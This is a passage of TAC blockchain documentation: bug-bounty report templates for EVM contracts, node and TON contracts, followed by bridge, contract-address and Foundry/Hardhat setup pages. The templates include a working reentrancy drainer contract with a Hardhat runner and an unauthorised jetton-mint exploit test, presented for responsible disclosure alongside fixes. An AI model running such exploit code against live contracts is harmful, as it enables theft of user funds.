Fixed version:
Prerequisites:
===============================
EXPLOITATION STEPS
===============================
1.
2.
...
===============================
POC RESULTS
===============================
Attack contract:
Exploit TX:
Block:
Balance table:
before → after delta
Scaling:
===============================
IMPACT ASSESSMENT
===============================
Severity:
1.
2.
===============================
RECOMMENDED FIX
===============================
Immediate:
Long-term:
Audit:
===============================
PROOF-OF-CONCEPT CODE
===============================
===============================
DISCLOSURE TIMELINE
===============================
YYYY-MM-DD
YYYY-MM-DD
```
## Report Template Commentary
### 1. Title and Metadata
```
SECURITY VULNERABILITY REPORT
— in
Date: YYYY-MM-DD
Status:
```
Useful tags to name in the title:
`Reentrancy`, `Access Control`, `Price Manipulation`, `Unchecked Return Value`,
`Signature Replay`, `Upgradeable Storage Collision`, `Integer Overflow`.
### 2. Executive Summary
Same four questions as always:
1. **What is broken?** — one sentence naming the vulnerable function.
2. **What does the attacker gain?** — drained funds / minted tokens / ownership takeover.
3. **How much?** — TVL at risk or maximum extractable value (MEV).
4. **Is it repeatable?** — per-block / per-tx / once.
**Example:**
```
The withdraw() function in Vault.sol does not follow Checks-Effects-Interactions.
An attacker with 1 TAC can drain the entire contract balance (~420 TAC) in a
single transaction via reentrancy. The attack requires no special roles.
```
### 3. Vulnerability Details
#### 3.1 Affected Contract
```
Contract: contracts/Vault.sol
Function: withdraw(uint256 amount) — lines 87–104
Deployed: 0x (mainnet / testnet)
```
Provide a source-verified link on TAC Explorer / Etherscan / Blockscout if available.
#### 3.2 Root Cause
Name the **SWC / Solidity category** and give the one-line explanation:
> **SWC-107 (Reentrancy):** `balances[msg.sender]` is decremented **after**
> the external `.call{value: amount}("")`, allowing the callee to re-enter
> `withdraw()` before the balance is zeroed.
#### 3.3 Vulnerable Code Snippet
```solidity theme={null}
// Vault.sol:87 — VULNERABLE
function withdraw(uint256 amount) external {
require(balances[msg.sender] >= amount);
(bool ok,) = msg.sender.call{value: amount}(""); // <-- re-entry point
require(ok);
balances[msg.sender] -= amount; // <-- too late
}
```
#### 3.4 Fixed Version (for comparison)
```solidity theme={null}
// CEI-correct version
function withdraw(uint256 amount) external {
require(balances[msg.sender] >= amount);
balances[msg.sender] -= amount; // effect first
(bool ok,) = msg.sender.call{value: amount}("");
require(ok);
}
```
#### 3.5 Prerequisites
```
- Attacker must have a non-zero deposit in the Vault (min 1 wei).
- No time-lock or withdrawal limit on the contract.
```
### 4. Exploitation Steps
```
1. Deploy AttackVault with address of Vault.
2. Call AttackVault.fund{value: 1 ether}() — seeds attacker deposit.
3. Call AttackVault.attack() — triggers withdraw(), re-enters 420 times,
drains all TAC from Vault.
4. Call AttackVault.collect() — sends drained TAC to attacker EOA.
```
### 5. PoC Results
Required:
* Attack contract address.
* TX hash of the exploit.
* Block number.
* Balance before/after for the Vault and the attacker.
**Example table:**
```
ADDRESS BALANCE BEFORE BALANCE AFTER DELTA
------- -------------- ------------- -----
Vault 420.000 TAC 0.000 TAC -420 TAC
AttackVault 1.000 TAC 421.000 TAC +420 TAC
Attacker EOA 0.000 TAC 421.000 TAC +420 TAC (after collect)
```
**Exploit TX:** `0x`\
**Block:** ``\
**Gas used:** `` (\~\$XX at current prices)
#### 5.1 Scaling Economics
```
Seed deposit Vault TVL drained Gas cost Net profit
----------- ----------------- -------- ----------
1 wei any ~0.01 TAC TVL − 0.01 TAC
```
The exploit is TVL-agnostic: any non-zero deposit drains the full balance.
### 6. Impact Assessment
```
Severity: CRITICAL
1. Full TVL drainage — all depositor funds at risk.
2. No special roles required — any depositor can exploit.
3. Single transaction — no setup window for defenders.
4. Irreversible — no admin pause function exists.
```
Mention if the contract is **upgradeable** (proxy pattern) — this affects
whether a hotfix can be deployed without migrating funds.
### 7. Recommended Fix
#### Immediate
```
Apply Checks-Effects-Interactions: move all state updates (balances[msg.sender] -= amount)
BEFORE the external call.
Alternatively, add a ReentrancyGuard (OpenZeppelin) nonReentrant modifier.
```
#### Long-term
```
Adopt OpenZeppelin ReentrancyGuardTransient (EIP-1153) for lower gas cost.
Add Slither / Aderyn to CI to catch CEI violations at PR time.
```
Adjacent Audit
```
Audit all other functions that perform external calls followed by state updates:
borrow(), liquidate(), flashLoan() — same pattern may exist.
```
### 8. Proof-of-Concept Code
```solidity theme={null}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
interface IVault {
function deposit() external payable;
function withdraw(uint256) external;
}
contract AttackVault {
IVault public vault;
address public owner;
uint256 public constant AMOUNT = 1 ether;
constructor(address _vault) { vault = IVault(_vault); owner = msg.sender; }
function fund() external payable { vault.deposit{value: msg.value}(); }
function attack() external {
vault.withdraw(AMOUNT);
}
receive() external payable {
if (address(vault).balance >= AMOUNT) {
vault.withdraw(AMOUNT);
}
}
function collect() external {
payable(owner).transfer(address(this).balance);
}
}
```
Hardhat runner (abbreviated):
```typescript theme={null}
const vault = await ethers.deployContract("Vault", { value: parseEther("420") });
const atk = await ethers.deployContract("AttackVault", [vault.target]);
await atk.fund({ value: parseEther("1") });
await atk.attack();
console.log("Vault balance:", await ethers.provider.getBalance(vault.target));
// expected: 0
```
# EVM Node
Source: https://docs.tac.build/bug-bounty/templates/guide-evm-node
# Bug Bounty Report Guide
The report template below covers vulnerabilities in EVM-compatible [Cosmos TAC chain node](https://github.com/TacBuild/evm): precompiles,
EVM↔Cosmos state synchronisation, bank/staking/distribution module bugs.
Tools: Hardhat (EVM side), Cosmos REST API, Go node source.
## Report Template
```
SECURITY VULNERABILITY REPORT
— in
Date: YYYY-MM-DD
Status:
===============================
EXECUTIVE SUMMARY
===============================
<5–10 lines: what is broken, what the attacker gains, specific numbers>
===============================
VULNERABILITY DETAILS
===============================
Affected component:
:,
Root cause:
How it works:
Technical prerequisite:
Comparison with correct code:
===============================
EXPLOITATION STEPS
===============================
===============================
PROOF-OF-CONCEPT RESULTS
===============================
Test: ()
Contract:
Exploit TX:
Block:
Status: CONFIRMED
Scaling economics:
===============================
IMPACT ASSESSMENT
===============================
Severity:
1.
2.
...
===============================
RECOMMENDED FIX
===============================
Immediate:
Long-term:
Audit:
===============================
PROOF-OF-CONCEPT CODE
===============================
===============================
DISCLOSURE TIMELINE
===============================
YYYY-MM-DD
YYYY-MM-DD
```
## Report Template Commentary
## 1. Title and Metadata
```
SECURITY VULNERABILITY REPORT
— in
Date: YYYY-MM-DD
Status:
```
* One line: **network + vulnerability class + affected component**.
* `Status` must state the confirmation level:
`THEORETICAL` / `LOCAL REPRODUCED` / `TESTNET CONFIRMED` / `MAINNET CONFIRMED`.
Useful classes:
`Balance Desync`, `State Collision`, `Precompile Missing Invariant`,
`Bank Module Bypass`, `IBC Replay`, `Consensus Equivocation`.
### 2. Executive Summary
Triage reads this in 30 seconds. Must answer four questions:
1. **What is broken?** — one sentence on the root cause.
2. **What does the attacker gain?** — tokens / control / data.
3. **How much?** — specific numbers.
4. **Is it repeatable?** — yes/no.
**Example:**
```
An attacker who starts with X native tokens ends up with X + profit
after a single exploit cycle. The profit scales linearly with the amount
invested. Gas cost is fixed regardless of exploit scale.
Invested: 10
Phantom balance: 5 (should be 0 after staking)
Derivative received: 9.72
Net profit: +2.01 equivalent
The attack is repeatable and can be looped for unlimited profit.
```
### 3. Vulnerability Details
#### 3.1 Affected Component
State the **exact** location in the node source:
```
Affected component:
precompiles//tx.go — function (lines X–Y)
```
Permalink to a specific commit if the repo is public:
```
https://github.com///blob//precompiles//tx.go#LX-LY
```
#### 3.2 Root Cause
One or two sentences — **at the line-of-code level**, not "somewhere in the module":
> `` has zero calls to `()`.
> Every adjacent precompile that performs the same operation includes this call —
> `` was missed.
#### 3.3 How It Works
1. **Context:** how the EVM↔Cosmos state bridge normally works.
2. **What the vulnerable code does:** step by step.
3. **Where the logic breaks:** the specific missing call / condition.
4. **Observable effect:** what state inconsistency is produced.
#### 3.4 Technical Prerequisite
Any conditions required for exploitation (directly affects severity):
```
Example: the exploit contract must perform at least one storage write (SSTORE)
before calling the vulnerable precompile, so the EVM stateObject is marked
"dirty" in the StateDB journal and the deduction is overwritten at commit.
```
#### 3.5 Comparison with Correct Code
If an **adjacent function is implemented correctly** — always show the diff.
This is the strongest evidence that it's a missed piece, not an architectural flaw:
```go theme={null}
// (correct):
if {
p.SetBalanceChangeEntries(
cmn.NewBalanceChangeEntry(callerAddr, amount, cmn.Sub),
)
}
// — this block is missing entirely.
```
### 4. Exploitation Steps
One transaction = one step. Include **specific arguments** and **before/after state**.
```
TX N — ():
Calls:
PRECOMPILE.(
arg1, // description
arg2, // description
)
Expected (correct): balance decreases by X.
Actual (buggy): balance unchanged — phantom balance created.
```
### 5. PoC Results
The most valuable part for triage: **real on-chain data**.
Required:
* Deployment address of the PoC contract.
* TX hashes for every step.
* Block numbers.
* Money-flow table.
* Final profit calculation.
**Example table:**
```
STEP CONTRACT BALANCE WALLET CHANGE NOTES
---- ---------------- ------------- -----
Start 0 wallet: NNN
Fund contract X -X
step1_setup() X/2 -gas X/2 locked
step2_exploit() X/2 (PHANTOM) -gas BUG: should be 0
step3_withdraw() 0 +X/2 phantom funds to wallet
step4_profit() 0 +Y derivative to wallet
```
#### 5.1 Scaling Economics
```
Fund amount Phantom balance Derivative received Gas cost Net profit
----------- --------------- ------------------- -------- ----------
10 5 ~9.7 ~C +P1
100 50 ~97 ~C +P2
1K 500 ~970 ~C +P3
```
### 6. Impact Assessment
```
Severity: CRITICAL
1. Unlimited native token inflation — balance deduction is silently skipped.
2. Direct profit extraction — no social engineering required.
3. Repeatable and linearly scalable — gas is the only cost.
4. Minimal prerequisites — .
5. Core module accounting corrupted — staking + bank state diverge.
```
CVSS v3.1 vector if the program requires it. Factors that raise severity:
native token inflation, no privilege requirements, breakage of core modules
(bank, staking, IBC).
### 7. Recommended Fix
#### Immediate
Minimal change — a specific diff or pseudo-diff in Go:
```go theme={null}
// Add after the Cosmos-side operation call:
if err := stateDB.SetBalanceChangeEntries(
cmn.NewBalanceChangeEntry(callerAddr, amount, cmn.Sub),
); err != nil {
return nil, err
}
```
#### Long-term
Architectural fix so the class cannot recur:
```
Adopt the upstream automatic BalanceHandler pattern (cosmos/evm ≥ v0.3.2).
It detects balance changes from Cosmos SDK events automatically,
eliminating the "forgotten SetBalanceChangeEntries" class entirely.
```
#### Adjacent Audit
```
Audit ALL precompile functions that move native tokens for the same missing call.
Pay special attention to: .
```
### 8. Proof-of-Concept Code
Attach the **fully working** PoC. Requirements:
* **Minimal** — no extra helpers or logging.
* **Self-contained** — compiles without external dependencies beyond
hardhat / forge / cosmjs.
* **Commented** — explain non-obvious preconditions (e.g. why a storage write
before the precompile call is necessary to trigger the bug).
# TVM (TON) Smart Contacts
Source: https://docs.tac.build/bug-bounty/templates/guide-tvm-contracts
# Bug Bounty Report Guide
The report template below covers vulnerabilities in TAC-related FunC / Tact contracts deployed on TON.
Tools: Blueprint, toncli, tonutils-go, @ton/ton (JS SDK).
## Report Template
```
SECURITY VULNERABILITY REPORT
— in
Date: YYYY-MM-DD
Status:
===============================
EXECUTIVE SUMMARY
===============================
===============================
VULNERABILITY DETAILS
===============================
Contract: , , line
Deployed: EQ
Class:
Root cause:
Vulnerable snippet:
Fixed version:
TON-specific notes:
Prerequisites:
===============================
EXPLOITATION STEPS
===============================
Message body:
op:
payload:
1.
2.
...
Blueprint test / script:
===============================
POC RESULTS
===============================
Contract: EQ
Exploit TX:
Balance table:
before → after delta
Scaling:
===============================
IMPACT ASSESSMENT
===============================
Severity:
1.
2.
===============================
RECOMMENDED FIX
===============================
Immediate:
Long-term:
Audit:
===============================
PROOF-OF-CONCEPT CODE
===============================
===============================
DISCLOSURE TIMELINE
===============================
YYYY-MM-DD
YYYY-MM-DD
```
## Report Template Commentary
### 1. Title and Metadata
```
SECURITY VULNERABILITY REPORT
— in
Date: YYYY-MM-DD
Status:
```
Useful classes:
`Unprotected Internal Message`, `Bounce Exploit`, `Storage Drain`,
`Replay Attack (no op-guard)`, `Incorrect Fees / Forward Gas`,
`Cell Overflow`, `Tact Inheritance Access Control`.
### 2. Executive Summary
Same four questions:
1. **What is broken?** — which op-code handler / recv\_internal branch.
2. **What does the attacker gain?** — TON drained / token minted / ownership.
3. **How much?** — contract balance or jetton supply at risk.
4. **Is it repeatable?** — per-message / once / needs timing.
**Example:**
```
The jetton minter's recv_internal handler does not verify the sender against
the admin address before processing op::mint. Any wallet can send a mint
message and create arbitrary tokens, inflating the supply without limit.
Contract balance at risk: 0 TON (no drain)
Token supply at risk: unlimited inflation
Attack cost: ~0.05 TON (gas)
```
### 3. Vulnerability Details
#### 3.1 Affected Contract
```
Contract: contracts/JettonMinter.fc (or .tact)
Handler: recv_internal — op::mint branch (line ~47)
Deployed: EQ (mainnet / testnet)
```
Provide a Tonviewer / Tonscan link if the contract is verified.
#### 3.2 Root Cause
> The `op::mint` branch reads `sender_address` from the message slice but
> never calls `throw_unless(73, equal_slices(sender_address, storage::admin))`
> before executing the mint logic.
#### 3.3 Vulnerable Code Snippet
```func theme={null}
;; JettonMinter.fc ~line 47 — VULNERABLE
if (op == op::mint) {
;; ← missing: throw_unless(73, equal_slices(sender, admin));
slice to_address = in_msg_body~load_msg_addr();
int amount = in_msg_body~load_coins();
mint_tokens(to_address, amount);
...
}
```
#### 3.4 Fixed Version
```func theme={null}
if (op == op::mint) {
throw_unless(73, equal_slices(sender, admin)); ;; ← added
slice to_address = in_msg_body~load_msg_addr();
int amount = in_msg_body~load_coins();
mint_tokens(to_address, amount);
...
}
```
#### 3.5 TON-specific Considerations
* **Bounce messages:** does the contract handle `op::excesses` / bounced
messages safely? A missing bounce handler can leave funds locked.
* **Forward gas:** does the contract forward enough gas for sub-messages?
Under-forwarding silently fails without reverting the parent tx.
* **Storage fees:** contracts with no incoming messages will be frozen and
then deleted. Does the attacker benefit from this?
* **Replay:** TON has no global nonce — contracts must implement their own
seqno or use the `valid_until` trick.
### 4. Exploitation Steps
For each step, include the message body layout (op + payload):
```
1. Build a mint message:
op: 0x642b7d07 (op::mint)
to_address: attacker_wallet
amount: 1_000_000_000_000 (1 000 000 jettons, 6 decimals)
2. Send from any wallet with 0.1 TON attached (covers gas + forward).
3. Check attacker's jetton wallet balance — should increase by 1 000 000.
4. Repeat for unlimited supply inflation.
```
Blueprint test skeleton:
```typescript theme={null}
it("mints without admin auth", async () => {
const attacker = await blockchain.treasury("attacker");
await minter.sendMint(attacker.getSender(), {
toAddress: attacker.address,
amount: toNano("1000000"),
value: toNano("0.1"),
});
const balance = await getJettonBalance(attacker.address);
expect(balance).toEqual(toNano("1000000")); // should FAIL if patched
});
```
### 5. PoC Results
Required:
* Contract address (`EQ...`).
* Transaction hash (lt + hash, or Tonviewer link).
* Message trace (Tonviewer shows the full message tree).
* Jetton balance / TON balance before and after.
**Example:**
```
CONTRACT BALANCE BEFORE BALANCE AFTER DELTA
-------- -------------- ------------- -----
JettonMinter 100 000 supply 1 100 000 +1 000 000 minted
Attacker jetton wlt 0 1 000 000 +1 000 000
Exploit TX: https://tonviewer.com/transaction/
Gas spent: 0.048 TON
```
#### 5.1 Scaling Economics
```
Calls Amount per call Total minted Gas cost
----- --------------- ------------ --------
1 1 000 000 1 000 000 0.05 TON
100 1 000 000 100 000 000 5.0 TON
```
### 6. Impact Assessment
```
Severity: CRITICAL
1. Unlimited token inflation — total supply can be minted to any address.
2. No admin role required — any wallet can exploit.
3. Per-message — repeatable indefinitely.
4. DEX liquidity pools backed by this jetton become worthless.
```
TON-specific severity boosters:
* contract holds significant TON balance (storage drain possible),
* contract is a bridge or DEX vault,
* no upgrade / pause mechanism exists.
### 7. Recommended Fix
#### Immediate
```
Add sender verification as the first statement in the op::mint branch:
throw_unless(73, equal_slices(sender, storage::admin));
```
#### Long-term
```
Use Tact's @internal access modifier or a dedicated access-control library.
Add Blueprint unit tests that assert every privileged op reverts for non-admin.
```
#### Adjacent Audit
```
Review all other privileged ops in recv_internal:
op::change_admin, op::burn_notification, op::set_content.
Verify bounce handler is implemented for all outgoing messages carrying value.
```
### 8. Proof-of-Concept Code
Provide a **Blueprint** test or a minimal **@ton/ton** script:
```typescript theme={null}
// test/JettonMinterExploit.spec.ts
import { Blockchain, SandboxContract } from "@ton/sandbox";
import { JettonMinter } from "../wrappers/JettonMinter";
import { toNano } from "@ton/ton";
describe("Exploit: unrestricted mint", () => {
let blockchain: Blockchain;
let minter: SandboxContract;
beforeEach(async () => {
blockchain = await Blockchain.create();
// deploy with 1 TON initial balance
minter = ...; // standard deploy
});
it("mints 1M tokens without admin", async () => {
const attacker = await blockchain.treasury("attacker");
const result = await minter.sendMint(attacker.getSender(), {
toAddress: attacker.address,
amount: toNano("1000000"),
value: toNano("0.1"),
});
expect(result.transactions).toHaveTransaction({ success: true });
// if this passes — the bug is confirmed
});
});
```
# Bridge
Source: https://docs.tac.build/ecosystem/bridge
Bridge assets between TON and TAC EVM using the official TAC bridge interface
The TAC bridge allows you to transfer assets between TON and TAC EVM networks. Connect both your EVM and TON wallets to bridge tokens and test cross-chain functionality.
## Available Bridges
Bridge assets between TON and TAC mainnet with live tokens and real value transfers.
Bridge testnet assets between TON testnet and SPB testnet for development and testing.
## How to Use
First, get tokens from the [Faucet](/ecosystem/faucet).
Connecting either of 2 wallets below is sufficient to complete the bridge on both directions
**Step 1:** Connect your EVM Wallet (MetaMask, Rabby, etc.)
**Step 2:** Confirm adding [TAC Network](/ecosystem/network-info)
**Step 3:** Choose the asset you want to bridge
**Step 4:** Click the button and confirm action in your connected wallet
**Step 1:** Check if Testnet is selected in your TON Wallet (Wallet, Tonkeeper, etc.)
**Step 2:** Connect Wallet
**Step 3:** Choose the asset you want to bridge
**Step 4:** Click the button and confirm action in your connected wallet
### Wrapping
You can also wrap and unwrap `TAC`\<->`WTAC` through this app.
## Asset Support
* TON native tokens: `TON` itself, fungible tokens (`Jetton` standard)
* TAC native tokens: `TAC` itself, fungible tokens (`ERC20` standard)
Bridging the `WTAC` ERC-20 token to TON will first unwrap it. As a result, `WTAC` and `TAC` represent the same asset on TON.
# Core Contracts
Source: https://docs.tac.build/ecosystem/contract-addresses
The page lists the core TAC Protocol's contract addresses used in TON and TAC blockchains while interacting with TON Adapter
## TON Adapter addresses
| Contract Name | Address |
| --------------------- | -------------------------------------------------- |
| **Cross Chain Layer** | `EQAgpWmO8nBUrmfOOldIEmRkLEwV-IIfVAlJsphYswnuL80R` |
| **Settings** | `EQBpUijPLYC9dcmw8Y-d23E9iX-2HBCupc5oqoYgXnORSRmi` |
| **Jetton Proxy** | `EQAChAswsPNsU2k3A5ZDO_cfhWknCGS6WMG2Jz15USMwxMdw` |
| **NFT Proxy** | `EQDDqOCQr6EPBmJnFF-dDKuNFLctG-SEYFhz66m17uisfLXh` |
| Contract Name | Address |
| --------------------- | -------------------------------------------------- |
| **Cross Chain Layer** | `EQAVGclLM4b0fb4pYRbS-OUUJiXlaTk8C0D1IueAzx6XgGo0` |
| **Settings** | `EQAf49rSyJGxh_OjoWJYwzpZCvVQdlYVNVy-DN3awXg8l5ZJ` |
| **Jetton Proxy** | `EQAgBa6tNOqswtuRggf47BIO809mxHUgkkk5EYmfISDMJ_Zw` |
| **NFT Proxy** | `EQAATNVhlCNQLj9a-BFoGQAt5qCJI827frKFjcbGVHyrEUBM` |
## TAC Adapter addresses
| Contract Name | Address |
| --------------------------- | -------------------------------------------- |
| **Cross Chain Layer** | `0x9fee01e948353E0897968A3ea955815aaA49f58d` |
| **Settings** | `0x1278fc68146643D7a05baAb1531618613999828D` |
| **Consensus** | `0xAe635dE674cFE4aFD179CDE441aBBE6504A20A98` |
| **Merkle Tree Utils** | `0xE11F57B7C650f9FeAcFCb414ab65F5A19bdFCc44` |
| **Token Utils** | `0x6BE421FEf556c41170Cd3F652ee469837409AAF5` |
| **Smart Account Factory** | `0x070820Ed658860f77138d71f74EfbE173775895b` |
| **Smart Account Blueprint** | `0xEc94C850F17ab72A31CEa784dFD3ffc8789A9bE4` |
| **Multicall** | `0xcA11bde05977b3631167028862bE2a173976CA11` |
| **WTAC** | `0xB63B9f0eb4A6E6f191529D71d4D88cc8900Df2C9` |
| Contract Name | Address |
| --------------------------- | -------------------------------------------- |
| **Cross Chain Layer** | `0x4f3b05a601B7103CF8Fc0aBB56d042e04f222ceE` |
| **Settings** | `0xF52a9A4C747Ce4BED079E54eB074d1C8879021D1` |
| **Consensus** | `0x2BF0030eD6635BCc01aba0D991e1b087877e1cA5` |
| **Merkle Tree Utils** | `0x7c8CDB0Fd5AFD238d8e3782bc3c548859b19BAAb` |
| **Token Utils** | `0xB9856463dE80753b0717E3d62DA6236c408734Df` |
| **Smart Account Factory** | `0x5919D1D0D1b36F08018d7C9650BF914AEbC6BAd6` |
| **Smart Account Blueprint** | `0xeAB80f5369689a2D142f25E654d9822A7725028B` |
| **Multicall** | `0xcA11bde05977b3631167028862bE2a173976CA11` |
| **WTAC** | `0xCf61405b7525F09f4E7501fc831fE7cbCc823d4c` |
# Blockscout
Source: https://docs.tac.build/ecosystem/data-indexers/blockscout
Blockscout API and Pro API provide blockchain data access for 100+ chains including TAC. Pro option offers higher rate limits, custom endpoints, improved performance, and multi-chain support.
# Dune
Source: https://docs.tac.build/ecosystem/data-indexers/dune
Dune is a leading, community-driven blockchain analytics platform that allows users to query, visualize, and analyze on-chain data from over 100+ networks including TAC.
# Goldsky
Source: https://docs.tac.build/ecosystem/data-indexers/goldsky
Seamlessly access the blockchain data you need with lightning-fast indexing by Goldsky, resilient subgraphs tailored for TAC, and flexible data streaming pipelines.
## Goldsky Products
Explore data products like **Subgraphs** and **Edge** for TAC:
## Getting Started
For detailed instructions check out the [Goldsky Documentation](https://docs.goldsky.com/chains/tac/?utm_source=tac\&utm_medium=docs).
# Foundry
Source: https://docs.tac.build/ecosystem/development-tools/foundry
TAC EVM Layer provides full compatibility with Foundry, the blazing fast development toolkit for Ethereum.
Official documentation
## Installation & Setup
Foundry works seamlessly with TAC - no special configuration required beyond standard network setup.
Install Foundry using the official installer:
```bash theme={null}
# Install foundryup
curl -L https://foundry.paradigm.xyz | bash
# Install the latest version
foundryup
```
Verify installation:
```bash theme={null}
forge --version
cast --version
anvil --version
```
Create a new Foundry project or initialize in existing directory:
```bash theme={null}
# Create new project
forge init my-tac-project
cd my-tac-project
# Or initialize in existing directory
forge init --force
```
This creates the standard Foundry structure:
```
├── foundry.toml
├── src/
├── test/
├── script/
└── lib/
```
Update `foundry.toml` to include TAC networks:
```toml theme={null}
[profile.default]
src = "src"
out = "out"
libs = ["lib"]
solc_version = "0.8.19"
optimizer = true
optimizer_runs = 200
via_ir = true
[rpc_endpoints]
# TAC Saint Petersburg Testnet
tac_testnet = "https://spb.rpc.tac.build"
tac_mainnet = "https://rpc.tac.build"
```
Never commit your private key to version control. Add `.env` to your `.gitignore` file.
Create a `.env` file for your private key:
```bash theme={null}
# .env
PRIVATE_KEY=your_private_key_here
# Optional: RPC URLs as environment variables
TAC_TESTNET_RPC=https://spb.rpc.tac.build
TAC_MAINNET_RPC=https://rpc.tac.build
```
## Contract Development
Foundry excels at rapid iteration and testing. Develop contracts using familiar Solidity patterns with enhanced testing capabilities.
### Basic Contract Example
```solidity theme={null}
// src/SimpleStorage.sol
pragma solidity ^0.8.19;
contract SimpleStorage {
uint256 private storedData;
event DataStored(uint256 indexed value, address indexed sender);
constructor(uint256 _initialValue) {
storedData = _initialValue;
}
function set(uint256 _value) external {
storedData = _value;
emit DataStored(_value, msg.sender);
}
function get() external view returns (uint256) {
return storedData;
}
}
```
## Build & Compilation
```bash theme={null}
# Build contracts
forge build
# Build with specific Solidity version
forge build --use 0.8.19
# Build with size optimization
forge build --sizes
# Generate ABI files
forge build --extra-output abi
```
## Testing & Debugging
Foundry's Solidity-based testing provides unmatched speed and power for smart contract testing.
```solidity theme={null}
// test/SimpleStorage.t.sol
pragma solidity ^0.8.19;
import "forge-std/Test.sol";
import "../src/SimpleStorage.sol";
contract SimpleStorageTest is Test {
SimpleStorage public simpleStorage;
event DataStored(uint256 indexed value, address indexed sender);
function setUp() public {
simpleStorage = new SimpleStorage(42);
}
function testInitialValue() public {
assertEq(simpleStorage.get(), 42);
}
function testSetValue() public {
simpleStorage.set(100);
assertEq(simpleStorage.get(), 100);
}
function testSetValueEmitsEvent() public {
vm.expectEmit(true, true, false, true);
emit DataStored(200, address(this));
simpleStorage.set(200);
}
function testFuzzSetValue(uint256 _value) public {
simpleStorage.set(_value);
assertEq(simpleStorage.get(), _value);
}
function testMultipleUsers() public {
address user1 = makeAddr("user1");
address user2 = makeAddr("user2");
vm.prank(user1);
simpleStorage.set(100);
vm.prank(user2);
simpleStorage.set(200);
assertEq(simpleStorage.get(), 200);
}
}
```
Foundry's fuzzing capabilities are excellent for testing edge cases in cross-chain scenarios.
### Run Tests
```bash theme={null}
# Run all tests
forge test
# Run tests with verbosity
forge test -vvv
# Run specific test
forge test --match-test testSetValue
# Run tests for specific contract
forge test --match-contract SimpleStorageTest
# Run with gas reporting
forge test --gas-report
```
```bash theme={null}
# Test against TAC testnet fork
forge test --fork-url https://spb.rpc.tac.build
# Test at specific block
forge test --fork-url https://spb.rpc.tac.build --fork-block-number 1000000
# Test with environment variable
forge test --fork-url $TAC_TESTNET_RPC
```
```bash theme={null}
# Generate coverage report
forge coverage
# Coverage with specific format
forge coverage --report lcov
# Coverage for specific test
forge coverage --match-test testSetValue
```
```bash theme={null}
# Gas report for all tests
forge test --gas-report
# Gas snapshot (track gas changes)
forge snapshot
# Compare gas usage
forge snapshot --diff
```
```bash theme={null}
# Debug specific test
forge test --debug testSetValue
# Debug with maximum verbosity
forge test -vvvv --match-test testSetValue
# Trace contract calls
forge test --trace --match-test testSetValue
```
## Deployment
Deploy contracts efficiently using Foundry's built-in deployment scripts and tools.
```solidity theme={null}
// script/Deploy.s.sol
pragma solidity ^0.8.19;
import "forge-std/Script.sol";
import "../src/SimpleStorage.sol";
contract DeployScript is Script {
function run() external {
uint256 deployerPrivateKey = vm.envUint("PRIVATE_KEY");
vm.startBroadcast(deployerPrivateKey);
// Deploy SimpleStorage
SimpleStorage simpleStorage = new SimpleStorage(42);
console.log("SimpleStorage deployed to:", address(simpleStorage));
vm.stopBroadcast();
// Log deployment info
console.log("Deployment completed on network:", block.chainid);
console.log("Deployer address:", vm.addr(deployerPrivateKey));
console.log("Block number:", block.number);
}
}
```
### Deploy Commands
Ensure you have sufficient TAC tokens for gas fees before deploying to mainnet.
```bash theme={null}
# Deploy to TAC Saint Petersburg testnet
forge script script/Deploy.s.sol:DeployScript \
--rpc-url tac_testnet \
--broadcast \
--verify
```
```bash theme={null}
# Deploy to TAC mainnet
forge script script/Deploy.s.sol:DeployScript \
--rpc-url tac_mainnet \
--broadcast \
--verify
```
### Cast Commands for TAC
```bash theme={null}
# Get block information
cast block-number --rpc-url https://spb.rpc.tac.build
# Get account balance
cast balance 0x742d35Cc6473... --rpc-url https://spb.rpc.tac.build
# Call contract function
cast call CONTRACT_ADDRESS "get()" --rpc-url https://spb.rpc.tac.build
# Send transaction
cast send CONTRACT_ADDRESS "set(uint256)" 100 \
--private-key $PRIVATE_KEY \
--rpc-url https://spb.rpc.tac.build
# Estimate gas
cast estimate CONTRACT_ADDRESS "set(uint256)" 100 \
--rpc-url https://spb.rpc.tac.build
```
## Common Issues & Solutions
**Problem**: Compilation errors or dependency issues
**Solutions**:
* Update Foundry: `foundryup`
* Rebuild artifacts:
```bash theme={null}
# Reset and rebuild
forge clean
forge build --force
```
* Reinstall dependencies: `forge install --no-commit`
* Check Solidity version compatibility
**Problem**: Network timeouts or connection failures
**Solutions**:
* Verify RPC URLs in `foundry.toml`
* Use environment variables for RPC endpoints
```toml theme={null}
[rpc_endpoints]
tac_testnet = "${TAC_TESTNET_RPC}"
```
* Increase timeout settings
# Hardhat
Source: https://docs.tac.build/ecosystem/development-tools/hardhat
Deploy, test, and verify Solidity contracts on TAC using Hardhat - the complete development environment
Official documentation
TAC EVM Layer provides full compatibility with Hardhat, Ethereum's most popular development framework. Deploy your existing Solidity contracts without modification, test, and verify contracts on the [Block Explorer](/explorer/overview).
## Installation & Setup
Setting up Hardhat for TAC development requires no special configuration - it works exactly like any other EVM chain.
Refer to our example app [create-tac-app](/quickstart/overview) to see the relevant hardhat deployment approach.
## Deployment
Below you can find the deployment commands used within [create-tac-app](/quickstart/overview)
Ensure you have sufficient TAC tokens for gas fees before deploying to mainnet.
```bash theme={null}
# Deploy to TAC Saint Petersburg Testnet
npx hardhat run scripts/deploy.ts --network tacTestnet
```
```bash theme={null}
# Deploy to TAC Mainnet (production)
npx hardhat run scripts/deploy.ts --network tacMainnet
```
## Common Issues & Solutions
**Problem**: RPC connection failures or timeouts
**Solutions**:
* Verify RPC URLs are correct
* Increase timeout in network configuration
```javascript theme={null}
networks: {
tacTestnet: {
url: "https://spb.rpc.tac.build",
timeout: 60000, // Increase timeout
}
}
```
* Try alternative RPC endpoints if available
# Tenderly
Source: https://docs.tac.build/ecosystem/development-tools/tenderly
Tenderly is a complete, full-stack Web3 infrastructure solution for the entire dapp lifecycle, from development to on-chain scaling.
# Thirdweb
Source: https://docs.tac.build/ecosystem/development-tools/thirdweb
Thirdweb is a complete web3 development toolkit, built by developers for web3 developers. With powerful built-in tools, such as wallet infrastructure, web3 payment solutions & authentication methods, thirdweb has everything you need to build powerful web3 apps in no time.
>
# Faucet
Source: https://docs.tac.build/ecosystem/faucet
Get testnet `TAC` and `TON`
The TAC faucet provides free testnet TAC tokens for gas fees and testing your hybrid dApps on the Saint Petersburg testnet. Simple wallet connection and instant token distribution for seamless development.
## Available Faucet
Get free testnet `TAC` for gas fees, contract deployment
Get free testnet `TON` to initiate cross-chain transactions
## Quick Links
